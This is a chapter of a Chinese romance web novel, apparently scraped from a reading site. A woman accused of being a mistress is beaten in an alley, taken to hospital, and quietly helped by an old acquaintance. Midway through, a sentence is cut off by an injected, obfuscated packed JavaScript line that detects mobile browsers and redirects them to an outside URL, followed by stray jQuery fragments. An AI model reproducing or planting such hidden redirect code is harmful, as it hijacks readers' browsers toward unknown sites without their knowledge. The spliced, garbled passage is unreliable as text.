2. 秋月不见客

作品:《四时长情

    邓棠带着几名警察走过来,“就是这儿,他们一伙人将一名女士追赶到巷子里,还都带了家伙。”


    朱显菊等人赶紧摊开手,示意自己什么也没带。


    先前用皮包砸向南舒的女人,赶忙迎上去,解释着,“警察叔叔,我们这就是在教训小三。你看这女的,勾引有妇之夫,道德败坏得很。”


    “什么原因,也不能动手打人!”领头的是位老警察,看上去一脸和善,但一喝,不怒自威。


    “是,是”,甚至用不着商议,女人自然地替朱显菊揽下罪,道歉的神色十分诚恳,“我也是气不过。我家那男人被她骗得,有家不回,孩子老人都不管了。甚至,还偷偷转移我们的婚内财产,我辛苦大半辈子攒下的家底啊,全被他拿去讨好小三。我这也是没有办法。”


    老警察的眉头拧成死结,但碍于职业的公正,他还是走到向南舒的面前,问了句,“还可以站起来吗?”


    向南舒撑着墙,勉强站起身。可她却一直偏着头,一头乱糟糟的卷发遮去了大半张脸。


    “现在知道羞耻了”,女人扯着她的头发将她的脸强掰过来。


    “松手!松手!”老警察赶紧阻止,朝身后几名年轻的警察示意,“先带她去医院,其他人带回所里。”


    “诶,警察叔叔,她不要脸她当小三,你怎么就抓我们不抓她啊。”


    “就是啊,这还讲不讲道理了。”


    “这种不知羞耻的女人,就活该!”


    几个人七嘴八舌地讨伐,老警察无奈,斥了一声,“我现在要跟你们讲的是法律,你们打人犯法,都带走!”


    几名年轻的警察赶紧将朱显菊几人带上警车,唯留老警察在巷子里等着救护车来。


    向南舒一直低着头,面前的警察有如她父亲一般的威严和慈目,她却在道德底层的漩涡里如此狼狈不堪。


    正直善良的父亲也是一名警察,他将生命献给了人民和正义,他的女儿却在阴暗中像只蛆虫,被警徽的光明审判着......


    巷子外已经围满了看热闹的,窸窣的碎语传入巷中。


    “长得满标标致致的嘛,做啥不好,非做小三,破坏人家家庭。”


    “人家长得标致才能做小三噻,那长得尖嘴猴腮的,哪个男人要!”


    “你这是什么道理!那不做小三的那些都长得不好看咯!”


    “我是这个意思吗?”


    “你不是这个意思,是什么意思,你说!”


    程北行和辛熙也正站在人群中,吵架的阿姨指着辛熙说,“人家小姑娘不也长得挺好看,人家怎么没做小三儿。”


    玉立伟岸的男人浑身挟着森寒之气,朝二人觑了一眼,两位阿姨没来由的一抖,讪讪地闭了嘴,躲得远了些。


    “你们谁报的警啊?”年轻的警察朝人群中问了一句。


    “我!”辛熙红着脸,像在课堂上被老师点名,单举起手。


    邓棠微张着嘴,应答的字眼还卡在喉咙,便息了声,自然地合拢,恢复一派旁观者的坦然。


    见老警察朝他疑问的看了一眼,他答道:“哦,我只是带个路”。


    年轻的警察指着辛熙,“那你跟着一起去趟派出所。”


    “我......”


    “别怕,我陪你去。”


    一道冷冽的烟嗓,浸润着初秋的柔意,稳住了身边人的慌张,却搅得角落里的恹恹人影破碎欲坠。


    邓棠不着痕迹地转眼,瞧了瞧扶靠着墙面的向南舒,在她快要跌倒时,伸手扶了一把。


    “谢谢。”


    她找到平衡后又飞快地收回了手。


    “舒......”


    “你们认识?”老警察明锐的察觉到了二人之间的不寻常。


    “不认识”,向南舒斩钉截铁的否认。


    “那你给你家属......或朋友打个电话,叫个人过来陪你?”


    “不用。我自己可以。”


    护士已经抬着担架过来,向南舒强忍着疼痛,自行躺了上去,邓棠又伸手要去扶她,她却偏着身子,错开三寸。


    “脏。”


    她始终没有去看邓棠。


    她说脏.......她裹了满身的灰尘,全身没有一处好的地方。


    邓棠退到了墙边。


    救护车车门快要关上的时候,他却还是跳上了车,“你毕竟是在我们店后门出的事,于情于理我都该去看看,就当做好人好事吧。”


    老警察朝他露出一个欣慰的表情,“很好嘛,现在年轻人就是需要你这种热心肠。”


    救护车和警车在路上错行,照CT,做检查,处理外伤,一直折腾到了凌晨。


    向南舒坐在急诊室的病床上,右腿打着石膏横置在床沿,左胳膊缠着绑带,额头、唇角满满的纱布,像个用胶水粘补的瓷器娃娃。


    老警察在走廊向医生询问伤情,邓棠拿着缴费的单子走过来,“费用我已经交好了,右腿的骨折要做手术,排在了一周后。”


    “好”,向南舒轻轻地应了一声,“多少钱?我转给你。”


    向南舒没有得到回应,不得不抬眼询问,却见邓棠神色复杂地看着自己,“你怎么把自己搞成这样......我们都以为......你在南边儿过得很好。”


    邓棠的声音慢慢暗哑下去。向南舒曾是他们所有人捧在手心的公主,她肆意张扬、明媚耀眼。


    而如今,那朵娇艳的花儿,一身疮痍,烂在了泥里......


    “支付宝还是微信?”邓棠不愿再久留。


    “都行。”


    ~


    邓棠回到“嚣”时,天光已经放亮,夜里寻欢作乐的倦鸟早已回巢。


    吴岩着急地跑过来,“棠哥,你一个晚上去哪儿了,程老板找不到你,在楼上发了好大一通脾气。”


    邓棠心底叹了口气,“知道了,你们收拾好,早些下班吧。”


    他也一身倦怠,脱下来的外套松松垮垮地搭在肩上,刚推开门,里面便传来一声怒吼,伴随着一个烟灰缸砸来,“一个晚上不见人,你是装英雄充好人上瘾是吧?”


    烟灰缸砸在脚边,撒了满地的烟蒂和烟灰,都是程北行这几个小时的杰作。


    邓棠面上波澜不惊,倒是将辛熙吓了一跳。


    “熙熙,你先回去。”


    不明的暗火在二人之间流窜,辛熙看向程北行,却并未得到他半点回应,只好应声退了出去。


    静默中,邓棠开了口,“她好歹是在我们店的后门外受的伤。”


    “还真他妈的会找地方”,程北行咬着牙,齿缝里冷冷溜出来这几个字。


    “三哥!”邓棠提声,“她受的伤很重,那些打她的人,根本在往死里打......”


    程北行明显的身子一颤,他猛吸了一口烟,双手却止不住地颤抖,随后将烟蒂弹落,狠狠碾熄。


    “她居然就这么束手,任由着他们打......”


    她当年可是敢提着啤酒瓶,跟一群混混叫嚣的人。


    邓棠并未再说,而是走到阳台去开窗,他知道,从这个位置正好可以看见那条窄巷,他想起自己先前收到的短信:后门巷子有人闹事,报警。


    “三哥......你要去看看她吗?”


    良久,邓棠以为自己不会再等到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002534|161828||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    回应,却听见他说:“你说她是不是又蠢又笨。甩了我,去给老男人当小三。”


    凉薄的声音带着淬毒的恨意,“她怎么敢!怎么敢这样回到京北!”


    他们注定,在这个话题上,无法自如的有问有答。天光慢慢照进,满堂的陈列越发清晰,人都变了,还留着块地方干嘛,“老邓,把这里关了吧。”


    程北行站起身,拿起自己的外套和领带,再也不想多看一眼。


    ~


    向南舒的手术第二天就排上了,护工小秦跑来告诉她,“南舒姐,你可真幸运,这家骨伤医院的手术至少都得排个十天半个月的。”


    “是吗?”向南舒懒懒散散地应着。


    小秦也才二十出头,正是精力充沛的年纪,在一众健壮有力又稳妥的中年人里略显单薄力弱,所以她来做护工,很多人都不愿意选她。


    小秦已经许久没有找到活儿了。


    向南舒原本也不想请护工,但她刚从急诊室转到普通病房时,就见一个小姑娘红着脸跑了上来,帮她忙前忙后。即便向南舒已经明确说了自己不需要护工,但小秦还是热心地帮着她,“没事,姐,我刚好闲着,也无聊。”


    向南舒看着自己半残的手脚,犹豫地说:“小秦,我也没啥钱,如果你来帮我,我可能给不了你太多。”


    小秦喜出望外,“没事,姐。我年龄小,经验少,便宜。”


    二人就这样达成共识,小秦护理的经验确实不足,但她热情,又肯吃苦,取药换药、跑腿伺候,从不耽误。


    小秦将买来的早点搁在护理桌上,有些卖好地说,“姐,我跟你说,我在这家医院待了好几个月,这附近哪里有好吃的,我全知道,而且保证价廉物美。”


    向南舒将摆放在面前的面茶、炸糕、油饼都推到她面前,“你吃吧,我不饿。”


    小姑娘嘴里馋着,却还是懂事地摇了摇头,“给你买的。姐,你下午还要手术呢。”


    隔壁床的樊大姐,凑过来瞧热闹,笑说:“小秦咯,人家下午要手术的呀,怎么能吃这么油腻的。”


    小秦恍然大悟,又是一通自责,“对不起啊姐,我这就去给你买点清淡的。”


    “别”,向南舒不忍责怪,再说她也真的没有胃口,“我真的吃不下。这样,你帮我打点开水来。三点的手术,要提前禁食,现在也不能吃了。”


    “好咧,我这就去!”


    “先吃......”


    小秦并未等到她把话说完,人已经跑没了影。


    樊大姐问起向南舒的伤势,她随意诌了一句,“天黑路滑,不小心从楼梯上摔了下来。”


    “哎哟,现在这京北啊,到处车啊,人啊,挤得哦,我这腿就是在菜市场买特价猪肉的时候,被人推挤才摔了的。”


    向南舒应着,却并不热情,她靠着枕头,视线虚虚地望着窗外,迷蒙的天色,其实什么都看不到。


    樊大姐的热情却并未减退,“妹子,你家里人呢?你怎么找小秦做护工啊?”


    “哦~我过来出差,京北没有......熟人。”


    “这样啊,那你这伤,算工伤吧?”


    向南舒尴尬地点了点头。


    “工伤能赔不少吧?”


    “还......不太清楚。”


    “我跟你说哦,你这一定得找公司报工伤的呀,我有个侄女,年前上班路上骑电动车,掉下水道......”


    樊大姐的分享欲爆棚,若不是她老公买了早饭回来,向南舒根本无法从中抽身。


    她意识到自己并不再擅于这种没有头尾的交际,收回了礼貌的注视,继续望着灰白的天空。